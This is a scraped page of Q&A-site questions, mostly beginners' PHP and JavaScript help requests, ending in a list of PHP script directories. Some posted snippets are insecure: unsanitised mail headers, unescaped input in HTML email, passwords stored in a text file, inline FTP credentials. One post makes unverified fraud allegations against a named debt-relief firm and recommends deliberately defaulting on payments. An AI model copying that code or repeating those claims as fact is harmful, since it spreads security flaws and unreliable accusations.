$Body .= $Message; $Body .= "\n"; // send email $success = mail($EmailTo, $Subject, $Body, "From: <$EmailFrom>"); // redirect to success page // CHANGE THE URL BELOW TO YOUR "THANK YOU" PAGE if ($success){ print "<meta http-equiv=\"refresh\" content=\"0;URL=contactthanks.html\">"; } else{ print "<meta http-equiv=\"refresh\" content=\"0;URL=error.html\">"; } } } ?> </div> </div> </body> </html> moreResolved Question: Which one of the following would you recommend I remove? And, should I substitute any of the following with…?
As protection I’m currently using… -Firefox with No Script (Which I love) -Firefox with ABP -Site-Hound (I'm about to get Site-Hound actually) -SiteAdvisor -WOT -CCLeaner -Spybot Search & Destroy -SUPERAntiSpyware -Malwarebytes’ Anti-Malware Which one of the following would you recommend I remove? And, should I substitute any of the following with…(these were all recommended by http://www.matousec.com/projects/proactive-security-challenge/results.php and some other sources) -Secunia PSI -Sudown -HostsMan -Comodo Internet Security -Online Solutions Security Suite -Online Armor Premium 4 -Outpost Security Suite Pro 7 -Online Armor Free 4.0.0.35F -Malware Defender 2.6.0 90 -Kaspersky Internet Security I basically want to have only what’s necessarily. (AVG, AVAST, McAfee have all failed me) I'd really appreciate advice. ~*~ PeachySweetS xoxoI didn't have much protection before (I don't visit MANY sites, but school-related assignments prevent me from being very choosy at times). Now my computer's infected, which I sort of fixed myself. Only a few things remain, but things are a lot better. Anyhow, thank you all for the answers! moreResolved Question: I don't quite no how to explain, but my home page isnt my home page?
I have a website and the home page is index.html and when you go to my website URL that page is different from index.html, it looks the same but the contact php script doesnt work. So when your at the home page, and then click home, it goes to a new URL. What page is displaying when I go to the URL??? http://stevenmorgantech.com/ moreResolved Question: What airsoft gun to get?
Hi i have the aug a2 sportline short barrel (heres the link)http://athlonetacticalsupplies.com/airsoft/product_info.php/products_id/168?osCsid=817db63e516eca50127fd62402a8a49a and a delta elite colt (link)http://athlonetacticalsupplies.com/airsoft/product_info.php/cPath/22_29/products_id/38 i want to get another gun but what should heres the links of the 2 places i can get one. if you would please look and see what i should get my highest price is 200 so anything under thanks! links http://athlonetacticalsupplies.com/airsoft/index.php http://www.mainirishairsoft.com/scripts/prodList.asp moreResolved Question: Need help with PHP script?
Ok basically heres the situation, i'm trying to setup my website to where when someone goes to a page, it logs the page title (or url), their ip address, and the date and time into a text file, i created a php script: <?php $ip = $_SERVER['REMOTE_ADDR']; $dt = date("l dS \of F Y h:i:s A"); $file=fopen("ip_log.txt","a"); $data = $ip.' '.$dt."\n"; $url = (!empty($_SERVER['HTTPS'])) ? "https://".$_SERVER['SERVER_NAME'].$_SER… : "http://".$_SERVER['SERVER_NAME'].$_SERV… fwrite($file, $url); fwrite($file, $data); fclose($file); ?> but on the text file it says: http://websitename.com/script.php 61.25.123.*** Saturday 07th of August 2010 11:09:15 PM (Note: I cut off the ip, it shows the full ip on the file.) Notice that it shows the scripts url instead of the page url, thats what I can't seem to fix, I also tried just putting the script inside the html file, it just didn't work all together. I tried to figure it out in javascript, but that didn't work either (im rly new to javascript and css). (I would rather it log the page title rather than the url if possible.) Please help! First answer that works gets picked as best. moreResolved Question: Issues with Javascript and PHP?
Ok basically heres the situation, i'm trying to setup my website to where when someone goes to a page, it logs the page title (or url), their ip address, and the date and time into a text file, i created a php script: <?php $ip = $_SERVER['REMOTE_ADDR']; $dt = date("l dS \of F Y h:i:s A"); $file=fopen("ip_log.txt","a"); $data = $ip.' '.$dt."\n"; $url = (!empty($_SERVER['HTTPS'])) ? "https://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'] : "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']; fwrite($file, $url); fwrite($file, $data); fclose($file); ?> but on the text file it says: http://websitename.com/script.php 61.25.123.*** Saturday 07th of August 2010 11:09:15 PM (Note: I cut off the ip, it shows the full ip on the file.) Notice that it shows the scripts url instead of the page url, thats what I can't seem to fix, I also tried just putting the script inside the html file, it just didn't work all together. I tried to figure it out in javascript, but that didn't work either (im rly new to javascript and css). (I would rather it log the page title rather than the url if possible.) Please help! First answer that works gets picked as best. moreResolved Question: How do I make a script to increase font size with PHP?
Sometimes on websites like webcredible.com I see 3 icons. An "A+" an "A" and an "A-". They either increase font size decrease it or turn it back to default. How is this done? moreResolved Question: Easier question for a php expert......?
Still trying to integrate a script for singele sign on and have got over the first hurdle. Next problem is that i don't know how this should be written. I've put the instructions up here: http://nightlife.co.rs There are two examples. The first example shows you what to write if you use absolute urls and is not the one i need to use. The second example is the one i need to use, however, in the first example it is clear to see what to write, in the second, it's not. Assuming my relative urls to be: * Your QA site: http://www.mysite.com/sub/ * Your login page: http://www.mysite.com/login.php * Your register page: http://www.mysite.com/register.php * Your logout page: http://www.mysite.com/logout.ph I need to edit this: return array( 'login' => $relative_url_prefix.'../login.php', 'register' => $relative_url_prefix.'../register.php', 'logout' => $relative_url_prefix.'../logout.php', How would the finished edit look?Hi colanth, but the question is how do i write that? I need to write those paths into here: 'login' => $relative_url_prefix.'../login.php', 'register' => $relative_url_prefix.'../register.php', 'logout' => $relative_url_prefix.'../logout.php', So how would the first one for example look? Like this? $www.mysite.com/sub/'../login.php' or how exactly would i write it?Hi mclass, no these are two ready made sites, these are two ready made sites, the second has single sign in capability but i don't understand the instructions. moreResolved Question: is this a cute outfit?
goin out on a date with this suuuuper rich guy and i bought this outfit today. i wantd to know if its cute?? http://www.bcbg.com/product/index.jsp?productId=3983547&cp=4213681.4366384.2769029&page=1&parentPage=family http://www.bcbg.com/product/index.jsp?productId=4288226&cp=4364320.4366305&page=1&pageBucket=0&parentPage=family http://www.bcbg.com/product/index.jsp?productId=4214922&cp=4366394.4366399&clickid=cat_leftnav_txt&parentPage=family http://www.bcbg.com/product/index.jsp?productId=3993449&cp=4372846.4372849&clickid=cat_leftnav_txt&parentPage=family WITH THIS HAIRSTYLE http://hairstylespicturescuts.com/wp-content/themes/wordphoto/scripts/timthumb.php?src=http://hairstylespicturescuts.com/wp-content/uploads/2008/08/celebrity-hairstyles-pictures-gallery-photos-8.jpg&w=729&zc=1&q=114 cute or not?? moreVoting Question: Can anyone help me make a php script that reads from a MySQL database?
I have a database that looks something like this: ID.....Title.......Description ------------------------------------ 1 | Waffles | Better than pancakes ------------------------------------ 2 | Crepes | Better than waffles .... etc I'm working on a website and want to do my links like this: website.com/getfile.php?1 where 1 is the ID number. How do I make a script that reads that 1 and proceeds to go pull the entry in the database with the ID '1'? moreResolved Question: Which is the best php script for a celebrities quotes website?
I want to know which is the best PHP Script to have your own collection of famous celebrities quotes website besides the Famous Quotes CMS by FamousWhy.com moreResolved Question: Where to start on databases?
I'm working on a website right now that involves a lot of flash (swf) files. To make updating the content on it a lot easier I want to do something like this, though I'm not sure if it is possible: I want to make some sort of database (I have zero knowledge of this) that will have the swf's filename and along with that, a brief description of it and another tag on it with a single name for a reason I will get to in a moment. I want to make a php script that will read the item on the database in order to get the flash file name and description. It will use the name to embed it on a page it generates and a description placed in another section of the page. I then want to use to the one worded tag to be how the php script decides to call on it from the database. So, for example, let's say the database has something like this: Name: flashfile.swf......Description: flashfile does this magical thing....Tag:muffins That way if I want to call on that object in the database the php script will go something like this: website.com/flashgetter.php?muffins I know I may have explained it poorly but I hope you can decipher it. Any answers that try to help will be greatly appreciated. moreResolved Question: i need a programmer that knows PHP, CSS and jQuery to customize a contact form?
hi i need a programmer that can customize me a free contact form,i cant do this myself because i don't have that much knowledge with php scripts . original contact form: http://tutorialzine.com/2009/09/fancy-contact-form/ i want to add another box to insert a picture url than only accept images extension such as .png and .jpg and few others and also the "picture url" box should be locate it under the "subject" drop list thing. also another txt box that says "How Did You Hear About Us" right above the "message" box. - i will pay 10$ quick via paypal for anybody that is able to do the job. i only will pay if the form is complete & 100% functional. if you are interested please pm me this is the original contact form that i want to be edit. http://tutorialzine.com/wp-content/uploads/2009/09/i13.png@Gags Sig i don't have a skype account do you have aim or msn instead moreVoting Question: National Debt Relief Group?
The National Debt Relief Group is a sham company based in Brooklyn, NY. They used to be Lifeguard Financial, but closed up due to the all the complaints they were receiving. For a short time, they were SafeTrust Financial(a couple of weeks or so?), and for some reason that didn't work out. Now they're back with a fancy new website, and some worthless accreditations. If you're unfamiliar with Lifeguard Financial, just do a google search on them, and you'll see a myriad of complaints. As I said earlier, they might call you and boast to you about their "accreditations", which are meaningless. Sorry folks, but not even the BBB is to be trusted. To become an accredited member of the BBB, all you have to do is pay a fee. Don't believe me? Check out these two articles-http://www.thebluesmokeband.com/bbb.php and http://articles.latimes.com/2009/jan/21/business/fi-lazarus21?pg=1 You might also be told of something called TASC. TASC is not a government run organization, and the owner of the company has his own debt settlement company, while the President of TASC is also the CEO of Debt Settlement America, a company which was subpoenaed by the Attorney General Of New York. Do you really expect these guys to hold one of their own accountable? Besides, to become an "accredited" member of TASC, all you have to is pay a fee. Lifeguard Financial is now the National Debt Relief Group. Their new headquarters are at 2502 86 Street, Brooklyn NY 11214. There are also additional offices located at 714 3rd Ave, Brooklyn NY, and 263 52 Street, Brooklyn NY. The new website is www.nationalrelief.com They've set up shop not too long ago, and unopened boxes can still be seen at the 86 St location, which was formerly a Sprint office. I was an employee there until I found that these guys were crooks. Sensitive information was seen lying around the office, such as credit reports. The office located at 263 52 Street Brooklyn, NY is in a shady, run-down building in a desolate area of Brooklyn. The office at 714 3rd Ave, Brooklyn, NY 11232 isn't much better. The scripts were given out in the office had a name crossed out, and later i found out why. It used to say Lifeguard Financial! How did I know? These guys actually left some Lifeguard Financial manuals lying around the office, and it was from there that I compared the two scripts. That is what also lead me to investigating the company. From there, I found a myriad of complaints about Lifeguard, and people asking, "where did they go?" Well, the answer is clear now, folks. These vampires have moved, and when the heat turns up in a few months, the process will just repeat itself. The debt settlement industry is very dirty. There is no regulation whatsoever. You have people who are unlicensed giving out financial advice. I've even heard that there are minors working for them at one of their offices, however I cannot prove the validity of that allegation. But what I do know is that you can all of this on your own. When we were trained, one of the rebuttals was that if someone asks why they should use NDRG instead of doing it themselves, was that the creditors won't work with individuals, or that because NDRG brings the creditors so much business, that they'll give the NDRG the best rates. This is a lie! I've spoken with many people who told me they saved 40-50% by working directly with the creditors. All you would have to do is use the same methods the same debt settlement companies use, which is falling behind your payments and telling your creditors that you're undergoing severe financial hardship. This works best once the account goes into collections, which is between 120 and 180(or 210) days. So many people have defaulted on their cards, and these guys are worried, and will gladly take something instead of nothing, with the something being anywhere from 30-60%. There are also several websites out there with information that can you assist you on how to settle your debts on your own. There will probably be a few people who will come here and say that the two companies are not the same, but do a google maps search RIGHT NOW.As of December 9, 2009, when you do a Google Maps search of 263 52nd Street, Brooklyn NY, and you will see that it STILL says lifeguard financial under businesses listed. The same goes for 714 3rd Ave, Brooklyn NY. These guys are also affiliated with a law firm, FBL Associates, located in Fort Lauderdale. I don't know how long their partnership has been, but I've heard that they're taking care of all matters related to Lifeguard Financial. How long will this be tolerated? When will someone take action? The entire debt settlement industry is unregulated, which allows scumbags like these to run wild. moreResolved Question: PHP Website Problem, Syntax error?
I get this error, Parse error: syntax error, unexpected T_STRING in /home/a1035081/public_html/index.php on line 14, but can't find anything wrong. Here is the code: <?php session_start(); /* Created by Adam Khoury @ www.developphp.com */ require_once "scripts/connect_to_mysql.php"; // Determine which page ID to use in our query below --------------------------------------------------------------------------------------- if (!$_GET['pid']) { $pageid = '1'; } else { $pageid = ereg_replace("[^0-9]", "", $_GET['pid']); // filter everything but numbers for security } // Query the body section for the proper page $sqlCommand = "SELECT pagebody FROM pages WHERE id='$pageid' LIMIT 1"; $query = mysqli_query($myConnection, $sqlCommand) or die mysqli_error($myConnection); while ($row = mysqli_fetch_array($query)) { $body = $row["pagebody"]; } mysqli_free_result($query); //--------------------------------------------------------------------------------------------------------------------------------------------------------------- // Query the module data for display --------------------------------------------------------------------------------------------------------------- $sqlCommand = "SELECT modulebody FROM modules WHERE showing='1' AND name='footer' LIMIT 1"; $query = mysqli_query($myConnection, $sqlCommand) or die (mysqli_error()); while ($row = mysqli_fetch_array($query)) { $footer = $row["modulebody"]; } mysqli_free_result($query); //--------------------------------------------------------------------------------------------------------------------------------------------------------------- // Query the module data for display --------------------------------------------------------------------------------------------------------------- $sqlCommand = "SELECT modulebody FROM modules WHERE showing='1' AND name='custom1' LIMIT 1"; $query = mysqli_query($myConnection, $sqlCommand) or die (mysqli_error()); while ($row = mysqli_fetch_array($query)) { $custom1 = $row["modulebody"]; } mysqli_free_result($query); //--------------------------------------------------------------------------------------------------------------------------------------------------------------- // Build Main Navigation menu and gather page data here ----------------------------------------------------------------------------- $sqlCommand = "SELECT id, linklabel FROM pages WHERE showing='1' ORDER BY id ASC"; $query = mysqli_query($myConnection, $sqlCommand) or die (mysqli_error()); $menuDisplay = ''; while ($row = mysqli_fetch_array($query)) { $pid = $row["id"]; $linklabel = $row["linklabel"]; $menuDisplay .= '<a href="index.php?pid=' . $pid . '">Home</a><br />'; } mysqli_free_result($query); //--------------------------------------------------------------------------------------------------------------------------------------------------------------- //mysqli_close($myConnection); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>PlaystationTactics |</title> <style type="text/css"> body,td,th { color: #FFF; font-family: Verdana, Geneva, sans-serif; font-size: 12px; } a:link { color: #FFF; text-decoration: none; } a:visited { text-decoration: none; color: #000; } a:hover { text-decoration: underline; color: #00F; } a:active { text-decoration: none; color: #000; } </style> </head> <body> <table width="1000" border="0" cellpadding="8"> <tr> <td width="488"><img src="images/logo.png" width="670" height="87" alt="PlaystationTactics" /></td> <td width="474" bgcolor="#000000">Custom Module</td> </tr> </table> <table width="1000" border="0" cellpadding="8"> <tr> <td width="200" align="left" valign="top" bgcolor="#000000">Menu System<br /> <td width="544" align="left" valign="top" bgcolor="#000000">Body</td> </tr> </table> <table width="1000" border="0" cellpadding="8"> <tr> <td bgcolor="#000000">Footer</td> </tr&When I try: $query = mysqli_query($myConnection, $sqlCommand) I get this: Warning: mysqli_query() expects parameter 1 to be mysqli, null given in /home/a1035081/public_html/index.php on line 14 Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result, null given in /home/a1035081/public_html/index.php on line 15 Warning: mysqli_free_result() expects parameter 1 to be mysqli_result, null given in /home/a1035081/public_html/index.php on line 18 Warning: mysqli_query() expects parameter 1 to be mysqli, null given in /home/a1035081/public_html/index.php on line 22 Warning: mysqli_error() expects exactly 1 parameter, 0 given in /home/a1035081/public_html/index.php on line 22When I try this: die(mysqli_error($myConnection)); I get: Warning: mysqli_error() expects parameter 1 to be mysqli, null given in /home/a1035081/public_html/index.php on line 14 moreResolved Question: Why my flash contact form isnt working on my yahoo website?
My flash contact form actionscript is below: stop(); import flash.events.*; import flash.net.URLLoader; import flash.net.URLLoaderDataFormat; import flash.net.URLRequest; // ---------------------------------------------------------------- var variables:URLVariables = new URLVariables(); // Be sure to change this URL to the PHP parse file on your site server var varSend:URLRequest = new URLRequest("http://pictureperfectdvdmedia.com/contact_parse.php"); var varLoader:URLLoader = new URLLoader; varSend.method = URLRequestMethod.POST; varSend.data = variables; status_txt.text = ""; submit_btn.addEventListener(MouseEvent.CLICK, ValidateAndSend); function ValidateAndSend(event:MouseEvent):void{ //validate form fields if(!name_txt.length) { status_txt.text = "Please enter your name."; } else if(!email_txt.length) { status_txt.text = "Please enter an email address"; } else if(!validateEmail(email_txt.text)) { status_txt.text = "Please enter a VALID email address"; } else if(!msg_txt.length) { status_txt.text = "Please enter a message."; } else { status_txt.text = "Thanks " + name_txt.text + ", your message has been sent! We will be contacting you very soon!"; variables.userName = name_txt.text; variables.userEmail = email_txt.text; variables.userMsg = msg_txt.text; varLoader.load(varSend); gotoAndStop(2); } } function validateEmail(str:String):Boolean { var pattern:RegExp = /(\w|[_.\-])+@((\w|-)+\.)+\w{2,4}+/; var result:Object = pattern.exec(str); if(result == null) { return false; } return true; } My PHP File: <?php /* --- Created By Adam @ www.developphp.com --- --- For help or script expansion join our forums there --- --- Use this code as your own any way you like --- */ // Create local PHP variables from the info the user gave in the Flash form $senderName = $_POST['userName']; $senderEmail = $_POST['userEmail']; $senderMessage = $_POST['userMsg']; // Strip slashes on the Local variables $senderName = stripslashes($senderName); $senderEmail = stripslashes($senderEmail); $senderMessage = stripslashes($senderMessage); //!!!!!!!!!!!!!!!!!!!!!!!!! change this to your email !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $to = "info@pictureperfectdvdmedia.com"; // Place sender Email address here $from = "info@pictureperfectdvdmedia.com"; $subject = "Inquiry"; //Begin HTML Email Message $message = <<<EOF <html> <body bgcolor="#FFFFFF"> <b>Name</b> = $senderName<br /><br /> <b>Email</b> = <a href="mailto:$senderEmail">$senderEmail</a><br /><br /> <b>Message</b> = $senderMessage<br /> </body> </html> EOF; //end of message $headers = "From: $from\r\n"; $headers .= "Content-type: text/html\r\n"; $to = "$to"; mail($to, $subject, $message, $headers); exit(); ?> I can submit the form and receive and email when I hit "run PHP" on my yahoo account or if I run the flash contact form movie from the flash software. It doesnt work when I upload the php and flash form to my website. Please contact me at INFO@pictureperfectdvdmedia.com if you can help! moreResolved Question: PHP/JavaSript iPhone Script for Site?
Hey everyone! Quick Question; I'm trying to make my website detect and redirect people viewing the site on iPhones and iPod Touchs. I tried PHP; if(strstr($_SERVER['HTTP_USER_AGENT'],'iPhone') || strstr($_SERVER['HTTP_USER_AGENT'],'iPod')) { header('Location: http://www.carveleastmeadow.com.com/iphone'); exit(); } and Javascript: if((navigator.userAgent.match(/iPhone/i)) || (navigator.userAgent.match(/iPod/i))) { if (document.cookie.indexOf("iphone_redirect=false") == -1) { window.location = "http://carveleastmeadow.com/mobile"; } } But Neither Work on my iPod Touch Ideas? Thanks moreResolved Question: Beginning Web Development: need help with a project?
I am a beginner in web development and i have been learning from w3schools.com i have primarily been learning HTML, Java Script, SQL, and PHP. Today i was tasked with finding out a way to solve the fallowing problem. (please bear with me if as it is a little tricky for me to explain) I need to find a way to get a piece of information off of the fallowing link http://www.nwd-wc.usace.army.mil/nwp/misc/drg1.txt my problem is that it is always in the form of a text document and it updates every 5 mins or so i just need a way to automatically pull a single piece of information off of that link every-time it updates, so that i can place the data onto another site. Any Ideas???also i found the fallowing script http://www.builderau.com.au/program/php/soa/Transform-plain-text-files-into-Web-pages-automatically-with-this-PHP-script/0,339028448,339272897,00.htm but it converts the whole file into an html and not just a specified line anyone know how i could edit it to do what i want? moreResolved Question: what script is better for a tattoo?
http://www.dafont.com/font.php?file=adine_kirnberg&page=1&nb_ppp_old=10&text=In+time+this+too+shall+pass&nb_ppp=10&psize=l&classt=alpha http://www.dafont.com/font.php?file=scriptina_pro&page=1&nb_ppp_old=10&text=In+time+this+too+shall+pass&nb_ppp=10&psize=l&classt=alpha moreResolved Question: Anyone know a site where I could get this navbar script?
Please look at this site's navigation bar. http://the-peril.com/askus.php Can anyone direct me to a site that has the script for a navigation bar in the same style? Anything similar, I just need a base to tweak with. I pretty much just want the faded separation with the left and right borders. moreResolved Question: How to modify this php script to work correctly?
<?php $FTP_HOST ="ftp.br.geocities.com"; $FTP_USER ="bobfrank"; $FTP_PW ="mypasswd"; $FTP_ROOT_DIR="/"; $LOCAL_SERVER_DIR = "images/"; $FTP_DIR = "mydir/"; $handle=opendir($LOCAL_SERVER_DIR); while (($file = readdir($handle))!==false) { if(!is_dir($file)){ $f[]="$file"; } } closedir($handle); sort($f); $count=0; $mode = FTP_BINARY; // or FTP_ASCII $conn_id = ftp_connect($FTP_HOST); if(ftp_login($conn_id, $FTP_USER, $FTP_PW)){ print "from: ".$LOCAL_SERVER_DIR."<br>"; print "to: ".$FTP_HOST.$FTP_ROOT_DIR.$FTP_DIR."<br>"; ftp_pwd($conn_id); ftp_mkdir($conn_id,$FTP_DIR); ftp_chdir($conn_id,$FTP_DIR); foreach($f as $files) { $from = fopen($LOCAL_SERVER_DIR.$files,"r"); if(ftp_fput($conn_id, $files, $from, $mode)){ $count +=1; print $files."<br>"; } } ftp_quit($conn_id); } print "upload : $count files."; ?> some time it copy blank file and some time it neighter do anything how to modify it so it give error if it get. moreResolved Question: How can i get a full domain stats for multiple thousands of domains?
I have a daily lists of many types of domains ( expired, pending delete , rgb , available , hold by registrar ...etc) , the number of this domains is about between 100,000 - 200,000 per day , So , I need a custom Php/MySQL script that fetch all stats of these domains and store the results in mysql database . What is the solution ? The required stats are : -Parse(extract) keyword from domain -Recognize the dictionary one word of domain . -Avg Search Results (keyword) -Avg Search Results (sld) -Avg Ad Count (keyword) -Avg Ad Count (sld) -Alexa Traffic Rank -Google Page Rank: -a Fake page rank? -Google Directory: -Yahoo Directory: -Google Backlinks: -Yahoo Backlinks: -Alexa Backlinks: -Altavista Backlinks: -AllTheWeb Backlinks: -DMOZ Directory?: -Google Indexed Pages: -Yahoo Indexed Pages: -Bing Indexed Pages: -Yahoo link popularity: -Google link popularity : -Overture (domain): -Overture (sld): -Overture (keyword): -Word Tracker (keyword): -Average Monthly Search Stats -Average Monthly Searches : -Average Cost Per Click (CPC): -Average Ad Competition: -Average Monthly Search Stats for keyword without " " -Average Monthly Searches for exactly keyword phrase with " " -Number of records at archive.org -Domain Age accourding whois: -Number of records at domaintools.com with date of first record : -Creation Date : -Update Date: -Expire Date: -Registerant name : -Email(s)of Registrant: -Registrar Company: -Determine other Taken Extentions (com , net , org , biz , us and info: . moreResolved Question: php script simple doubt?
Hi . I'm new to php.. say i have a htm file. it has a text box and a password box.when the user has given input and pressed the submit button it should open a php file "write.php" i should save user input in a text file . for this i have to use php. is the following code correct? if not modify it please <?php header("location=http://www.example.com"); $handle=fopen("data.txt","a"); foreach($_GET as $variable =>$value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?> any other suggestions are also welcome help me please.... moreResolved Question: How can I add an easy simple interface to my website, to add content, like add my latest news?
I am trying to make a fansite for a game, however, I don't know how to make a website with CMS, please do not suggest things like joomla and wordpress, and I need my own customable one, so I can add news and it appreas on homepage, add articles and things, also have it linked with a forum, Is there any way I can do this, I don't know PHP, but may there are scripts that I can use from somewhere to make this, I made a website but ti was with dreamweaver (html), and apprently for CMS system, I will need to have a php made website, Thanks, I mean like this: tibiarp.com is an example of a fansite of someone I know, he got somone to do it, found someone who did it free, but as you would see on there, he adds news, im staff on there, so I know you add news type the text and submit it and it displays on home page and then same with articles? Any suggestions? Thanks :) moreResolved Question: please i need help form an html expert?
i used many html scripts to password protect my webpage which is located at http://www.be-awesome.weebly.com but the problem is that whether i enter the right pass or just click cancel the website opens normally i got the script from this website http://www.zubrag.com/tools/html-password-protector-encoder.php i want to know what to add where as i want when the vistor enters the wrong password he will be redirected to google.com :D ...please help study the html code and tell me as soon as possible moreResolved Question: I need help with mod_rewrite?
I have a site located in a directory www.site.com/dir1/index.php I need to achieve the following things using mod_rewrite...... 1) be able to call the script index.php without the "php" extension AND without showing the directory name, in other words, I'd like to use the URL: www.site.com/index 2) validate that only a number of URLs are valid eg only allow these urls: www.site.com/index www.site.com/articles www.site.com/subscribe 3)redirect invalid requests to a page called 404.html 4)there's a file called sitemap.php that generates a xml sitemap, I'd like to be able to access this file using this URL www.site.com/sitemap.xml (instead of current extension php) Thank you in advance for your help! moreResolved Question: Hi, Can someone help me putting up RSS Feeds?
We have a website http://realluckylive.com/ and I have installed the PHP Script from http://rssfeedreader.com/ looks like this: <?php $olderror_reporting =error_reporting(0); include ("http://rssfeedreader.com/rss3/rss.php?url=http%3A%2F%2Fwww.realluckylive.com&newpage=1&chead=1&atl=1&desc=1&owncss=&eleminate=&auth=1&dts=1&width=300&max=5&tlen=0&rnd=1&bt=3&bs=Double&nmb=1&ntb=1&naf=1&nst=1&nwd=200&nht=200&dlen=0&lstyle=-1&lc=Blue&bg=White&bc=Gray&spc=&ims=&tc=&ts=11&tfont=Verdana,+Arial,+Sans-serif&rf=".$HTTP_SERVER_VARS['SERVER_NAME'].$HTTP_SERVER_VARS['PHP_SELF']."&phpout=1"); error_reporting($olderror_reporting); ?> The problems is that it doesn't show the newsfeed from the page. Thanks. moreResolved Question: Variables in javascript?
I am having some problems using a variable within a javascript src. I have little javascript experience, but a lot of php. Here is what I am trying to do: 1) I am using google maps to get directions for users on a web application. But, the destination is not static. It changes. I am storing the destination in a php variable called $goomapsloc. Now, in order to make the php variable available within the src, I have done the following: (I have added some spaces, to prevent yahoo from truncating the code . . as recommended by another user . . so please ignore any spacing issues) <script type="text/javascript"> <?php print("var resloc = " . $goomapsloc . " \n");?> src="http://www.gmodules.com/ig/ifr? url=http://hosting.gmodules.com/ig/gadgets/file/ 114281111391296844949/driving- directions.xml& ;up_fromLocation=&up_myLocations=" + resloc + ";up_defaultDirectionsType= &synd=open&w=400&h= 75&title =Directions+by+Google+Maps& brand=light&lang= en&country=US&borde r=%23ffffff%7C3px%2C1px+solid+ %23999999&output=js"> </script> That is what I have. The php part is working just fine, but the src part fails. All I get for resloc is the exact text of "resloc" not the variable . . . Any assistance to make this work ? moreTop Com Php Script Links
php scripts - learn php programming and download original php scriptsLearn PHP Programming ... TDavid's PHP Diary updates: Using mktime and date function to skip dates and create simple calendar functions ... |
PHP ScriptsPHP Scripts for developers and programmers both free and commercial. |
Hot Scripts - The net's largest PHP, CGI, Perl, JavaScript and ASP ...Hot Scripts is the net's largest PHP, CGI, Perl, JavaScript and ASP script collection and resource web portal. We are an Internet directory that compiles and distributes Web ... |
Scripts Directory of PHP, ASP, ASP.NET, Java, Javascript, Perl and ...Scripts Directory at Scripts.com is a collection of web resources aimed at internet programmers and developers. Scripts.com maintains a huge list of ready to use scripts and ... |
PHP Script Modules Code | Search & Download Software FreePHP Script Modules Code Search & Download Software Free . PHP is a programming language for dynamically built web sites. PHP used to stand for PHP: Hypertext Preprocessor. |
PHP Scripts - RRWH.comRRWH.com provides quality free PHP scripts for your website |
The PHP Resource IndexSite with complete script, code snippets, documentation and other PHP related resources. In affiliation with cgi-resources.com Around 700 entries |
PHP ScriptsSiteScripts is the web developers script portal, containing PHP scripts, ASP scripts, Javascripts and resources for web masters, web developers and programmers. SiteScripts ... |
PHPonly.com: PHP scripts such as Business Directory, RSVP ...PHP Only is a script provider that includes solutions such as Business Directory, RSVP, Appointment script, FAQ script, Contact Form with Captcha, Word Directory Script and more. |